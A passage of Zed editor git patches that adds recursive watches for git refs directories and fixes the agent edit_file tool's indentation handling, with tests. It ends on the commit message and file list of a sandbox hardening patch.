@@ -3494,6 +3490,55 @@ impl BackgroundScannerState {
     }
 }
 
+/// Watches the directories inside a git directory that git writes ref updates to.
+///
+/// On Linux and FreeBSD the native file watcher is non-recursive, so a watch on the git
+/// directory itself does not report changes to files nested below it, such as the loose
+/// refs that git updates on commit, fetch, and branch operations. Watch the `refs` tree
+/// (its directories are watched individually because branch names may contain slashes)
+/// and, for repositories using the reftable backend, the `reftable` directory. On
+/// platforms with recursive watchers these calls are deduplicated against the existing
+/// recursive registration, making them effectively free.
+async fn watch_git_dir_subdirectories(git_dir_abs_path: &Path, fs: &dyn Fs, watcher: &dyn Watcher) {
+    let reftable_dir_abs_path = git_dir_abs_path.join(REFTABLE_DIR);
+    if fs.is_dir(&reftable_dir_abs_path).await {
+        watcher
+            .add(&reftable_dir_abs_path)
+            .context("failed to add reftable directory to watcher")
+            .log_err();
+    }
+
+    watch_dir_tree(git_dir_abs_path.join(REFS_DIR), fs, watcher).await;
+}
+
+/// Watches a directory and all of its descendant directories.
+///
+/// Each directory is watched before its children are enumerated, so that a child
+/// created concurrently is either seen by the enumeration or reported by the watch.
+async fn watch_dir_tree(root_abs_path: PathBuf, fs: &dyn Fs, watcher: &dyn Watcher) {
+    let mut dirs_to_watch = vec![root_abs_path];
+    while let Some(dir_abs_path) = dirs_to_watch.pop() {
+        if !fs.is_dir(&dir_abs_path).await {
+            continue;
+        }
+        watcher
+            .add(&dir_abs_path)
+            .with_context(|| format!("failed to watch directory {dir_abs_path:?}"))
+            .log_err();
+        let Some(mut children) = fs.read_dir(&dir_abs_path).await.log_err() else {
+            continue;
+        };
+        while let Some(child_abs_path) = children.next().await {
+            let Some(child_abs_path) = child_abs_path.log_err() else {
+                continue;
+            };
+            if fs.is_dir(&child_abs_path).await {
+                dirs_to_watch.push(child_abs_path);
+            }
+        }
+    }
+}
+
 async fn is_dot_git(path: &Path, fs: &dyn Fs) -> bool {
     if let Some(file_name) = path.file_name()
         && file_name == DOT_GIT
@@ -4648,6 +4693,24 @@ impl BackgroundScanner {
                         continue;
                     }
 
+                    // New directories can appear under the `refs` tree at any time, e.g. when a
+                    // remote is added or a branch name contains slashes. On platforms where the
+                    // native watcher is non-recursive they need their own watches, or subsequent
+                    // ref updates inside them would go unnoticed. The subtree is walked because
+                    // nested directories may have been created before this watch took effect.
+                    if matches!(event.kind, Some(PathEventKind::Created))
+                        && path_in_git_dir
+                            .components()
+                            .any(|component| component.as_os_str() == OsStr::new(REFS_DIR))
+                    {
+                        watch_dir_tree(
+                            abs_path.as_path().to_path_buf(),
+                            self.fs.as_ref(),
+                            self.watcher.as_ref(),
+                        )
+                        .await;
+                    }
+
                     if !dot_git_abs_paths.contains(&dot_git_abs_path) {
                         log::debug!(
                             "detected update within git repo at {dot_git_abs_path:?}: {abs_path:?}"
diff --git a/crates/worktree/tests/integration/worktree_tests.rs b/crates/worktree/tests/integration/worktree_tests.rs
index 8fb7fe3f812b03..b4b6c2d1aeec22 100644
--- a/crates/worktree/tests/integration/worktree_tests.rs
+++ b/crates/worktree/tests/integration/worktree_tests.rs
@@ -4621,6 +4621,89 @@ async fn test_dot_git_dir_event_does_not_suppress_children(
     }
 }
 
+#[gpui::test]
+async fn test_ref_updates_in_dot_git_subdirectories_are_detected(cx: &mut TestAppContext) {
+    // On Linux and FreeBSD the native file watcher is non-recursive: watching `.git`
+    // does not deliver events for files nested below it, like the loose refs that git
+    // updates on commit, fetch, and branch operations. The worktree must watch the
+    // `refs` tree explicitly, including directories created after the initial scan.
+    init_test(cx);
+    cx.executor().allow_parking();
+
+    let dir = TempTree::new(json!({
+        ".git": {},
+        "a.txt": "a-contents",
+    }));
+    std::fs::write(
+        dir.path().join(".git/refs/heads/main"),
+        "0000000000000000000000000000000000000000\n",
+    )
+    .unwrap();
+
+    let tree = Worktree::local(
+        dir.path(),
+        true,
+        Arc::new(RealFs::new(None, cx.executor())),
+        Default::default(),
+        true,
+        WorktreeId::from_proto(0),
+        &mut cx.to_async(),
+    )
+    .await
+    .unwrap();
+    cx.read(|cx| tree.read(cx).as_local().unwrap().scan_complete())
+        .await;
+    tree.flush_fs_events(cx).await;
+
+    let mut events = cx.events(&tree);
+    std::fs::write(
+        dir.path().join(".git/refs/heads/main"),
+        "1111111111111111111111111111111111111111\n",
+    )
+    .unwrap();
+    expect_git_repo_update(&mut events, cx, "updating a loose ref").await;
+
+    std::fs::create_dir_all(dir.path().join(".git/refs/remotes/origin")).unwrap();
+    expect_git_repo_update(&mut events, cx, "creating a directory under refs").await;
+    tree.flush_fs_events(cx).await;
+    drain_git_repo_updates(&mut events);
+
+    std::fs::write(
+        dir.path().join(".git/refs/remotes/origin/main"),
+        "2222222222222222222222222222222222222222\n",
+    )
+    .unwrap();
+    expect_git_repo_update(
+        &mut events,
+        cx,
+        "updating a ref in a directory created after the initial scan",
+    )
+    .await;
+}
+
+async fn expect_git_repo_update(
+    events: &mut futures::channel::mpsc::UnboundedReceiver<Event>,
+    cx: &mut TestAppContext,
+    description: &str,
+) {
+    let mut elapsed = std::time::Duration::ZERO;
+    let timeout = std::time::Duration::from_secs(10);
+    let poll_interval = std::time::Duration::from_millis(50);
+    loop {
+        match events.try_recv() {
+            Ok(Event::UpdatedGitRepositories(_)) => return,
+            Ok(_) => continue,
+            Err(_) => {}
+        }
+        assert!(
+            elapsed < timeout,
+            "timed out waiting for UpdatedGitRepositories after {description}"
+        );
+        cx.background_executor.timer(poll_interval).await;
+        elapsed += poll_interval;
+    }
+}
+
 fn drain_git_repo_updates(events: &mut futures::channel::mpsc::UnboundedReceiver<Event>) -> bool {
     let mut found = false;
     while let Ok(event) = events.try_recv() {

From 7344a31ddc144f12bd8ee52328cfb9bd275c97f5 Mon Sep 17 00:00:00 2001
From: MartinYe1234 <52641447+MartinYe1234@users.noreply.github.com>
Date: Fri, 10 Jul 2026 13:21:26 -0700
Subject: [PATCH 387/772] agent: Fix edit_file corrupting indentation when
 old_text omits first-line indent (#60613)

The `edit_file` tool re-indents `new_text` by computing a single indent
delta from the first line of `old_text` versus the matched buffer line,
then applying that delta to every line of the replacement. When a model
omits the leading indentation on only the first line of
`old_text`/`new_text` (a common pattern when copying from mid-line
context), the delta computed from the first line was wrongly applied to
the remaining, already-correctly-indented lines, doubling their
indentation.

This PR:

- Tracks the `(query_row, buffer_row)` line pairs aligned by the
streaming fuzzy matcher so the indent of each `old_text` line can be
compared against the buffer line it actually matched.
- Computes a separate indent delta for the lines after the first: when
those lines agree on a consistent delta, it's used for the rest of the
replacement; otherwise the previous uniform behavior is preserved.
- Keeps `query_lines`/line pairs in sync when `finish()` extends a match
with a trailing incomplete line.
- Adds an end-to-end regression test reproducing the issue, plus unit
tests for the new re-indentation logic.

Closes https://github.com/zed-industries/zed/issues/60302

Release Notes:

- Fixed the agent's `edit_file` tool corrupting indentation when a
replacement omitted leading whitespace on only its first line.
---
 crates/agent/src/tools/edit_file_tool.rs      |  71 ++++++++
 crates/agent/src/tools/edit_session.rs        |  29 +++-
 .../agent/src/tools/edit_session/reindent.rs  | 161 ++++++++++++++++--
 .../edit_session/streaming_fuzzy_matcher.rs   | 153 ++++++++++++++---
 4 files changed, 377 insertions(+), 37 deletions(-)

diff --git a/crates/agent/src/tools/edit_file_tool.rs b/crates/agent/src/tools/edit_file_tool.rs
index 8cf5610531d9f2..4734dd6b36c338 100644
--- a/crates/agent/src/tools/edit_file_tool.rs
+++ b/crates/agent/src/tools/edit_file_tool.rs
@@ -324,6 +324,77 @@ mod tests {
         assert_eq!(new_text, "line 1\nmodified line 2\nline 3\n");
     }
 
+    #[gpui::test]
+    async fn test_streaming_edit_first_line_missing_indent(cx: &mut TestAppContext) {
+        // Reproduces https://github.com/zed-industries/zed/issues/60302: the
+        // first line of the multi-line `old_text` omits its leading
+        // indentation while subsequent lines include theirs, so the indent
+        // delta computed from the first line must not be applied to the
+        // following lines. `old_text` also omits the `self.extra` line, so
+        // the query lines don't correspond one-to-one to the matched buffer
+        // rows and the indent pairing must follow the fuzzy match's
+        // alignment instead of assuming equal line counts.
+        let content = concat!(
+            "class Outer:\n",
+            "    def method(self):\n",
+            "        self.kept = \"unchanged\"\n",
+            "        self.target_a = \"before\"\n",
+            "        self.extra = \"row\"\n",
+            "        self.target_b = \"before\"\n",
+            "        self.target_c = \"before\"\n",
+            "        self.target_d = \"before\"\n",
+            "        self.kept_2 = \"unchanged\"\n",
+        );
+        let (edit_tool, _project, _action_log, _fs, _thread) =
+            setup_test(cx, json!({"file.py": content})).await;
+        let result = cx
+            .update(|cx| {
+                edit_tool.clone().run(
+                    ToolInput::resolved(EditFileToolInput {
+                        path: "root/file.py".into(),
+                        edits: vec![Edit {
+                            old_text: concat!(
+                                "self.target_a = \"before\"\n",
+                                "        self.target_b = \"before\"\n",
+                                "        self.target_c = \"before\"\n",
+                                "        self.target_d = \"before\"",
+                            )
+                            .into(),
+                            new_text: concat!(
+                                "self.target_a = \"after\"\n",
+                                "        self.target_b = \"after\"\n",
+                                "        self.target_c = \"after\"\n",
+                                "        self.target_d = \"after\"",
+                            )
+                            .into(),
+                        }],
+                    }),
+                    ToolCallEventStream::test().0,
+                    cx,
+                )
+            })
+            .await;
+
+        let EditFileToolOutput::Success { new_text, .. } = result.unwrap() else {
+            panic!("expected success");
+        };
+        // The matched range includes the `self.extra` row, so it is replaced
+        // along with the rest of the match.
+        assert_eq!(
+            new_text,
+            concat!(
+                "class Outer:\n",
+                "    def method(self):\n",
+                "        self.kept = \"unchanged\"\n",
+                "        self.target_a = \"after\"\n",
+                "        self.target_b = \"after\"\n",
+                "        self.target_c = \"after\"\n",
+                "        self.target_d = \"after\"\n",
+                "        self.kept_2 = \"unchanged\"\n",
+            )
+        );
+    }
+
     #[gpui::test]
     async fn test_streaming_edit_multiple_edits(cx: &mut TestAppContext) {
         let (edit_tool, _project, _action_log, _fs, _thread) = setup_test(
diff --git a/crates/agent/src/tools/edit_session.rs b/crates/agent/src/tools/edit_session.rs
index b6f8c0f1cfcd13..d47a87123338e8 100644
--- a/crates/agent/src/tools/edit_session.rs
+++ b/crates/agent/src/tools/edit_session.rs
@@ -16,7 +16,7 @@ use language::{Buffer, BufferEditSource, BufferEvent, LanguageRegistry};
 use language_model::LanguageModelToolResultContent;
 use project::lsp_store::{FormatTrigger, LspFormatTarget};
 use project::{AgentLocation, Project, ProjectPath};
-use reindent::{Reindenter, compute_indent_delta};
+use reindent::{Reindenter, compute_indent_delta, compute_rest_indent_delta};
 use schemars::JsonSchema;
 use serde::{Deserialize, Serialize, de::DeserializeOwned};
 use std::ops::Range;
@@ -527,15 +527,34 @@ impl EditPipeline {
                 );
 
                 let buffer_indent = snapshot.line_indent_for_row(line);
+                let query_lines = matcher.query_lines();
                 let query_indent = text::LineIndent::from_iter(
-                    matcher
-                        .query_lines()
+                    query_lines
                         .first()
                         .map(|s| s.as_str())
                         .unwrap_or("")
                         .chars(),
                 );
-                let indent_delta = compute_indent_delta(buffer_indent, query_indent);
+                let first_line_delta = compute_indent_delta(buffer_indent, query_indent);
+
+                // Query row 0 is excluded: its delta is `first_line_delta`,
+                // which intentionally differs when the model stripped the
+                // first line's indentation.
+                let rest_delta = compute_rest_indent_delta(
+                    first_line_delta,
+                    matcher
+                        .line_pairs(&range)
+                        .unwrap_or(&[])
+                        .iter()
+                        .filter(|(query_row, _)| *query_row != 0)
+                        .filter_map(|(query_row, buffer_row)| {
+                            let query_line = query_lines.get(*query_row as usize)?;
+                            Some((
+                                snapshot.line_indent_for_row(*buffer_row),
+                                text::LineIndent::from_iter(query_line.chars()),
+                            ))
+                        }),
+                );
 
                 let old_text_in_buffer = snapshot.text_for_range(range.clone()).collect::<String>();
 
@@ -551,7 +570,7 @@ impl EditPipeline {
                 self.current_edit = Some(EditPipelineEntry::StreamingNewText {
                     streaming_diff: StreamingDiff::new(old_text_in_buffer),
                     edit_cursor: range.start,
-                    reindenter: Reindenter::new(indent_delta),
+                    reindenter: Reindenter::with_deltas(first_line_delta, rest_delta),
                     original_snapshot: text_snapshot,
                 });
 
diff --git a/crates/agent/src/tools/edit_session/reindent.rs b/crates/agent/src/tools/edit_session/reindent.rs
index 7f08749e475f6a..ed4066e30d26a6 100644
--- a/crates/agent/src/tools/edit_session/reindent.rs
+++ b/crates/agent/src/tools/edit_session/reindent.rs
@@ -1,7 +1,7 @@
 use language::LineIndent;
 use std::{cmp, iter};
 
-#[derive(Copy, Clone, Debug)]
+#[derive(Copy, Clone, Debug, PartialEq, Eq)]
 pub enum IndentDelta {
     Spaces(isize),
     Tabs(isize),
@@ -31,20 +31,60 @@ pub fn compute_indent_delta(buffer_indent: LineIndent, query_indent: LineIndent)
     }
 }
 
+/// Computes the indent delta for the lines after the first, given per-line
+/// `(buffer, query)` indents for those lines.
+///
+/// When the remaining lines agree on a consistent delta, that delta is
+/// returned even if it differs from `first_line_delta`. This handles queries
+/// where only the first line's indentation was stripped. When the remaining
+/// lines are inconsistent (or all blank), falls back to `first_line_delta`,
+/// preserving the uniform re-indentation behavior.
+pub fn compute_rest_indent_delta(
+    first_line_delta: IndentDelta,
+    indent_pairs: impl IntoIterator<Item = (LineIndent, LineIndent)>,
+) -> IndentDelta {
+    let mut rest_delta = None;
+    for (buffer_indent, query_indent) in indent_pairs {
+        if buffer_indent.line_blank || query_indent.line_blank {
+            continue;
+        }
+        let delta = compute_indent_delta(buffer_indent, query_indent);
+        match rest_delta {
+            None => rest_delta = Some(delta),
+            Some(existing) if existing == delta => {}
+            Some(_) => return first_line_delta,
+        }
+    }
+    rest_delta.unwrap_or(first_line_delta)
+}
+
 /// Synchronous re-indentation adapter. Buffers incomplete lines and applies
 /// an `IndentDelta` to each line's leading whitespace before emitting it.
+///
+/// Models sometimes omit the leading indentation only on the first line of
+/// `old_text`/`new_text` (e.g. when copying from mid-line context), so the
+/// first line and the remaining lines can require different deltas.
 pub struct Reindenter {
-    delta: IndentDelta,
+    first_line_delta: IndentDelta,
+    rest_delta: IndentDelta,
     buffer: String,
     in_leading_whitespace: bool,
+    on_first_line: bool,
 }
 
 impl Reindenter {
-    pub fn new(delta: IndentDelta) -> Self {
+    #[cfg(test)]
+    fn uniform(delta: IndentDelta) -> Self {
+        Self::with_deltas(delta, delta)
+    }
+
+    pub fn with_deltas(first_line_delta: IndentDelta, rest_delta: IndentDelta) -> Self {
         Self {
-            delta,
+            first_line_delta,
+            rest_delta,
             buffer: String::new(),
             in_leading_whitespace: true,
+            on_first_line: true,
         }
     }
 
@@ -70,14 +110,19 @@ impl Reindenter {
                 None => (self.buffer.len(), true),
             };
             let line = &self.buffer[start_ix..line_end];
+            let delta = if self.on_first_line {
+                self.first_line_delta
+            } else {
+                self.rest_delta
+            };
 
             if self.in_leading_whitespace {
-                if let Some(non_whitespace_ix) = line.find(|c| self.delta.character() != c) {
+                if let Some(non_whitespace_ix) = line.find(|c| delta.character() != c) {
                     // We found a non-whitespace character, adjust indentation
                     // based on the delta.
                     let new_indent_len =
-                        cmp::max(0, non_whitespace_ix as isize + self.delta.len()) as usize;
-                    indented.extend(iter::repeat(self.delta.character()).take(new_indent_len));
+                        cmp::max(0, non_whitespace_ix as isize + delta.len()) as usize;
+                    indented.extend(iter::repeat(delta.character()).take(new_indent_len));
                     indented.push_str(&line[non_whitespace_ix..]);
                     self.in_leading_whitespace = false;
                 } else if is_pending_line && !is_final {
@@ -97,6 +142,7 @@ impl Reindenter {
                 break;
             } else {
                 self.in_leading_whitespace = true;
+                self.on_first_line = false;
                 indented.push('\n');
                 start_ix = line_end + 1;
             }
@@ -116,7 +162,7 @@ mod tests {
 
     #[test]
     fn test_indent_single_chunk() {
-        let mut r = Reindenter::new(IndentDelta::Spaces(2));
+        let mut r = Reindenter::uniform(IndentDelta::Spaces(2));
         let out = r.push("    abc\n  def\n      ghi");
         // All three lines are emitted: "ghi" starts with spaces but
         // contains non-whitespace, so it's processed immediately.
@@ -127,7 +173,7 @@ mod tests {
 
     #[test]
     fn test_outdent_tabs() {
-        let mut r = Reindenter::new(IndentDelta::Tabs(-2));
+        let mut r = Reindenter::uniform(IndentDelta::Tabs(-2));
         let out = r.push("\t\t\t\tabc\n\t\tdef\n\t\t\t\t\t\tghi");
         assert_eq!(out, "\t\tabc\ndef\n\t\t\t\tghi");
         let out = r.finish();
@@ -136,7 +182,7 @@ mod tests {
 
     #[test]
     fn test_incremental_chunks() {
-        let mut r = Reindenter::new(IndentDelta::Spaces(2));
+        let mut r = Reindenter::uniform(IndentDelta::Spaces(2));
         // Feed "    ab" — the `a` is non-whitespace, so the line is
         // processed immediately even without a trailing newline.
         let out = r.push("    ab");
@@ -151,7 +197,7 @@ mod tests {
 
     #[test]
     fn test_zero_delta() {
-        let mut r = Reindenter::new(IndentDelta::Spaces(0));
+        let mut r = Reindenter::uniform(IndentDelta::Spaces(0));
         let out = r.push("  hello\n  world\n");
         assert_eq!(out, "  hello\n  world\n");
         let out = r.finish();
@@ -160,7 +206,7 @@ mod tests {
 
     #[test]
     fn test_clamp_negative_indent() {
-        let mut r = Reindenter::new(IndentDelta::Spaces(-10));
+        let mut r = Reindenter::uniform(IndentDelta::Spaces(-10));
         let out = r.push("  abc\n");
         // max(0, 2 - 10) = 0, so no leading spaces.
         assert_eq!(out, "abc\n");
@@ -170,7 +216,7 @@ mod tests {
 
     #[test]
     fn test_whitespace_only_lines() {
-        let mut r = Reindenter::new(IndentDelta::Spaces(2));
+        let mut r = Reindenter::uniform(IndentDelta::Spaces(2));
         let out = r.push("   \n  code\n");
         // First line is all whitespace — emitted verbatim. Second line is indented.
         assert_eq!(out, "   \n    code\n");
@@ -178,6 +224,95 @@ mod tests {
         assert_eq!(out, "");
     }
 
+    #[test]
+    fn test_distinct_first_line_delta() {
+        // First line's indentation was stripped in the query (delta +8),
+        // while the remaining lines are already correct (delta 0). Chunks
+        // split mid-line and mid-indentation to exercise the streaming path,
+        // and the blank line is passed through verbatim.
+        let mut r = Reindenter::with_deltas(IndentDelta::Spaces(8), IndentDelta::Spaces(0));
+        let mut out = r.push("self.target_a = ");
+        out.push_str(&r.push("\"after\"\n    "));
+        out.push_str(&r.push("    self.target_b = \"after\"\n"));
+        out.push_str(&r.push("\n        self.target_c = \"after\""));
+        out.push_str(&r.finish());
+        assert_eq!(
+            out,
+            concat!(
+                "        self.target_a = \"after\"\n",
+                "        self.target_b = \"after\"\n",
+                "\n",
+                "        self.target_c = \"after\"",
+            )
+        );
+    }
+
+    fn line_indent(text: &str) -> LineIndent {
+        LineIndent::from_iter(text.chars())
+    }
+
+    #[test]
+    fn test_compute_rest_indent_delta() {
+        let first_line_delta = IndentDelta::Spaces(8);
+
+        // Remaining lines that agree on a delta override the first-line
+        // delta, and blank lines are skipped when forming the consensus.
+        assert_eq!(
+            compute_rest_indent_delta(
+                first_line_delta,
+                vec![
+                    (line_indent("        b"), line_indent("        b")),
+                    (line_indent(""), line_indent("")),
+                    (line_indent("        c"), line_indent("        c")),
+                ],
+            ),
+            IndentDelta::Spaces(0)
+        );
+        assert_eq!(
+            compute_rest_indent_delta(
+                first_line_delta,
+                vec![
+                    (line_indent("        b"), line_indent("    b")),
+                    (line_indent("   "), line_indent("")),
+                    (line_indent("        c"), line_indent("    c")),
+                ],
+            ),
+            IndentDelta::Spaces(4)
+        );
+        assert_eq!(
+            compute_rest_indent_delta(
+                first_line_delta,
+                vec![(line_indent("\t\tb"), line_indent("\tb"))],
+            ),
+            IndentDelta::Tabs(1)
+        );
+
+        // Inconsistent remaining lines fall back to the first-line delta...
+        assert_eq!(
+            compute_rest_indent_delta(
+                first_line_delta,
+                vec![
+                    (line_indent("        b"), line_indent("        b")),
+                    (line_indent("        c"), line_indent("    c")),
+                ],
+            ),
+            first_line_delta
+        );
+
+        // ...and so do all-blank and empty pairings.
+        assert_eq!(
+            compute_rest_indent_delta(
+                first_line_delta,
+                vec![(line_indent("   "), line_indent(""))],
+            ),
+            first_line_delta
+        );
+        assert_eq!(
+            compute_rest_indent_delta(first_line_delta, vec![]),
+            first_line_delta
+        );
+    }
+
     #[test]
     fn test_compute_indent_delta_spaces() {
         let buffer = LineIndent {
diff --git a/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs b/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
index e6a56099a29321..3515275f70a3c6 100644
--- a/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
+++ b/crates/agent/src/tools/edit_session/streaming_fuzzy_matcher.rs
@@ -12,10 +12,18 @@ pub struct StreamingFuzzyMatcher {
     query_lines: Vec<String>,
     line_hint: Option<u32>,
     incomplete_line: String,
-    matches: Vec<Range<usize>>,
+    matches: Vec<SearchMatch>,
     matrix: SearchMatrix,
 }
 
+/// A match candidate: the matched byte range plus the 0-based
+/// `(query_row, buffer_row)` line pairs the search aligned to produce it.
+#[derive(Clone, Debug)]
+struct SearchMatch {
+    range: Range<usize>,
+    line_pairs: Vec<(u32, u32)>,
+}
+
 impl StreamingFuzzyMatcher {
     pub fn new(snapshot: TextBufferSnapshot) -> Self {
         let buffer_line_count = snapshot.max_point().row as usize + 1;
@@ -34,6 +42,23 @@ impl StreamingFuzzyMatcher {
         &self.query_lines
     }
 
+    /// Returns the 0-based `(query_row, buffer_row)` line pairs that the
+    /// search aligned for the match with the given range. Lines that were
+    /// skipped on either side of the alignment are absent.
+    pub fn line_pairs(&self, range: &Range<usize>) -> Option<&[(u32, u32)]> {
+        self.matches
+            .iter()
+            .find(|search_match| search_match.range == *range)
+            .map(|search_match| search_match.line_pairs.as_slice())
+    }
+
+    fn match_ranges(&self) -> Vec<Range<usize>> {
+        self.matches
+            .iter()
+            .map(|search_match| search_match.range.clone())
+            .collect()
+    }
+
     /// Push a new chunk of text and get the best match found so far.
     ///
     /// This method accumulates text chunks and processes complete lines.
@@ -62,7 +87,11 @@ impl StreamingFuzzyMatcher {
         }
 
         let best_match = self.select_best_match();
-        best_match.or_else(|| self.matches.first().cloned())
+        best_match.or_else(|| {
+            self.matches
+                .first()
+                .map(|search_match| search_match.range.clone())
+        })
     }
 
     /// Finish processing and return the final best match(es).
@@ -72,26 +101,35 @@ impl StreamingFuzzyMatcher {
     pub fn finish(&mut self) -> Vec<Range<usize>> {
         // Process any remaining incomplete line
         if !self.incomplete_line.is_empty() {
-            if self.matches.len() == 1 {
-                let range = &mut self.matches[0];
+            if let [only_match] = self.matches.as_mut_slice() {
+                let range = &mut only_match.range;
                 if range.end < self.snapshot.len()
                     && self
                         .snapshot
                         .contains_str_at(range.end + 1, &self.incomplete_line)
                 {
                     range.end += 1 + self.incomplete_line.len();
-                    return self.matches.clone();
+                    // Record the line and its alignment so that `query_lines`
+                    // and `line_pairs` stay in sync with the lines covered by
+                    // the returned range.
+                    let extended_row = self.snapshot.offset_to_point(range.end).row;
+                    self.query_lines
+                        .push(std::mem::take(&mut self.incomplete_line));
+                    only_match
+                        .line_pairs
+                        .push(((self.query_lines.len() - 1) as u32, extended_row));
+                    return self.match_ranges();
                 }
             }
 
-            self.query_lines.push(self.incomplete_line.clone());
-            self.incomplete_line.clear();
+            self.query_lines
+                .push(std::mem::take(&mut self.incomplete_line));
             self.matches = self.resolve_location_fuzzy();
         }
-        self.matches.clone()
+        self.match_ranges()
     }
 
-    fn resolve_location_fuzzy(&mut self) -> Vec<Range<usize>> {
+    fn resolve_location_fuzzy(&mut self) -> Vec<SearchMatch> {
         let new_query_line_count = self.query_lines.len();
         let old_query_line_count = self.matrix.rows.saturating_sub(1);
         if new_query_line_count == old_query_line_count {
@@ -167,7 +205,7 @@ impl StreamingFuzzyMatcher {
         // Find ranges for the matches
         let mut valid_matches = Vec::new();
         for &buffer_row_end in &matches_with_best_cost {
-            let mut matched_lines = 0;
+            let mut line_pairs = Vec::new();
             let mut query_row = new_query_line_count;
             let mut buffer_row_start = buffer_row_end;
             while query_row > 0 && buffer_row_start > 0 {
@@ -176,7 +214,7 @@ impl StreamingFuzzyMatcher {
                     SearchDirection::Diagonal => {
                         query_row -= 1;
                         buffer_row_start -= 1;
-                        matched_lines += 1;
+                        line_pairs.push((query_row as u32, buffer_row_start));
                     }
                     SearchDirection::Up => {
                         query_row -= 1;
@@ -186,9 +224,10 @@ impl StreamingFuzzyMatcher {
                     }
                 }
             }
+            line_pairs.reverse();
 
             let matched_buffer_row_count = buffer_row_end - buffer_row_start;
-            let matched_ratio = matched_lines as f32
+            let matched_ratio = line_pairs.len() as f32
                 / (matched_buffer_row_count as f32).max(new_query_line_count as f32);
             if matched_ratio >= 0.8 {
                 let buffer_start_ix = self
@@ -198,11 +237,14 @@ impl StreamingFuzzyMatcher {
                     buffer_row_end - 1,
                     self.snapshot.line_len(buffer_row_end - 1),
                 ));
-                valid_matches.push((buffer_row_start, buffer_start_ix..buffer_end_ix));
+                valid_matches.push(SearchMatch {
+                    range: buffer_start_ix..buffer_end_ix,
+                    line_pairs,
+                });
             }
         }
 
-        valid_matches.into_iter().map(|(_, range)| range).collect()
+        valid_matches
     }
 
     /// Return the best match with starting position close enough to line_hint.
@@ -216,8 +258,8 @@ impl StreamingFuzzyMatcher {
             return None;
         }
 
-        if self.matches.len() == 1 {
-            return self.matches.first().cloned();
+        if let [only_match] = self.matches.as_slice() {
+            return Some(only_match.range.clone());
         }
 
         let Some(line_hint) = self.line_hint else {
@@ -228,14 +270,14 @@ impl StreamingFuzzyMatcher {
         let mut best_match = None;
         let mut best_distance = u32::MAX;
 
-        for range in &self.matches {
-            let start_point = self.snapshot.offset_to_point(range.start);
+        for search_match in &self.matches {
+            let start_point = self.snapshot.offset_to_point(search_match.range.start);
             let start_line = start_point.row;
             let distance = start_line.abs_diff(line_hint);
 
             if distance <= LINE_HINT_TOLERANCE && distance < best_distance {
                 best_distance = distance;
-                best_match = Some(range.clone());
+                best_match = Some(search_match.range.clone());
             }
         }
 
@@ -831,6 +873,79 @@ mod tests {
         }
     }
 
+    #[test]
+    fn test_line_pairs_skip_unmatched_buffer_line() {
+        let text = indoc! {r#"
+            class Outer:
+                def method(self):
+                    self.kept = "unchanged"
+                    self.target_a = "before"
+                    self.extra = "row"
+                    self.target_b = "before"
+                    self.target_c = "before"
+                    self.target_d = "before"
+                    self.kept_2 = "unchanged"
+        "#};
+        let buffer = TextBuffer::new(
+            ReplicaId::LOCAL,
+            BufferId::new(1).unwrap(),
+            text.to_string(),
+        );
+        let mut matcher = StreamingFuzzyMatcher::new(buffer.snapshot().clone());
+
+        // The query omits the `self.extra` row that sits between the matched
+        // buffer lines.
+        matcher.push(
+            concat!(
+                "        self.target_a = \"before\"\n",
+                "        self.target_b = \"before\"\n",
+                "        self.target_c = \"before\"\n",
+                "        self.target_d = \"before\"\n",
+            ),
+            None,
+        );
+        let matches = matcher.finish();
+
+        assert_eq!(matches.len(), 1);
+        assert_eq!(
+            matcher.line_pairs(&matches[0]),
+            Some(&[(0, 3), (1, 5), (2, 6), (3, 7)][..])
+        );
+    }
+
+    #[test]
+    fn test_line_pairs_include_extended_incomplete_line() {
+        let text = indoc! {r#"
+            fn on_query_change(&mut self, cx: &mut Context<Self>) {
+                self.filter(cx);
+            }
+
+
+
+            fn render_search(&self, cx: &mut Context<Self>) -> Div {
+                div()
+            }
+        "#};
+        let buffer = TextBuffer::new(
+            ReplicaId::LOCAL,
+            BufferId::new(1).unwrap(),
+            text.to_string(),
+        );
+        let mut matcher = StreamingFuzzyMatcher::new(buffer.snapshot().clone());
+
+        // The last query line is incomplete and gets appended to the match by
+        // `finish` via verbatim comparison rather than the fuzzy search.
+        matcher.push("}\n\n\n\nfn render_search", None);
+        let matches = matcher.finish();
+
+        assert_eq!(matches.len(), 1);
+        assert_eq!(
+            matcher.line_pairs(&matches[0]),
+            Some(&[(0, 2), (1, 3), (2, 4), (3, 5), (4, 6)][..])
+        );
+        assert_eq!(matcher.query_lines().len(), 5);
+    }
+
     fn to_random_chunks(rng: &mut StdRng, input: &str) -> Vec<String> {
         let chunk_count = rng.random_range(1..=cmp::min(input.len(), 50));
         let mut chunk_indices = (0..input.len()).choose_multiple(rng, chunk_count);

From 8f92822cbfb41db7fc282ad19093caa662815aa1 Mon Sep 17 00:00:00 2001
From: Cameron Mcloughlin <cameron.studdstreet@gmail.com>
Date: Fri, 10 Jul 2026 23:51:41 +0100
Subject: [PATCH 388/772] agent: Sandbox security review and docs update
 (#60291)

Closes security loopholes and updates docs:
- installs seccomp filter for blocking naughty syscalls
- tightens macos seatbelt profile
- fetch tool responses that redirect are now constrained by allowed
domains list

Also adds a few "Learn More" buttons that link to the new docs.

Also fixes a bug where the agent would try to create a
`~/.config/zed/AGENTS.md` directory

Also adds unicode confusable detection to URL/path privilege escalation
prompts.

---

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 Cargo.lock                                    |  13 +
 Cargo.toml                                    |   1 +
 crates/acp_thread/src/acp_thread.rs           |   5 +
 crates/acp_thread/src/terminal.rs             |  45 ++-
 crates/agent/src/sandboxing.rs                |  34 +-
 crates/agent/src/templates/system_prompt.hbs  |   2 +-
 crates/agent/src/tests/mod.rs                 | 188 +++++++++
 crates/agent/src/thread.rs                    |  32 +-
 .../agent/src/tools/create_directory_tool.rs  | 252 +++++++++++-
 crates/agent/src/tools/fetch_tool.rs          | 158 +++++---
 crates/agent/src/tools/terminal_tool.rs       |   8 +-
 crates/agent_settings/src/agent_settings.rs   |  37 +-
 crates/agent_ui/Cargo.toml                    |   2 +
 crates/agent_ui/src/agent_ui.rs               |   1 +
 .../src/conversation_view/thread_view.rs      | 339 ++++++++++++++--
 crates/agent_ui/src/unicode_confusables.rs    | 244 ++++++++++++
 crates/client/src/zed_urls.rs                 |  17 +
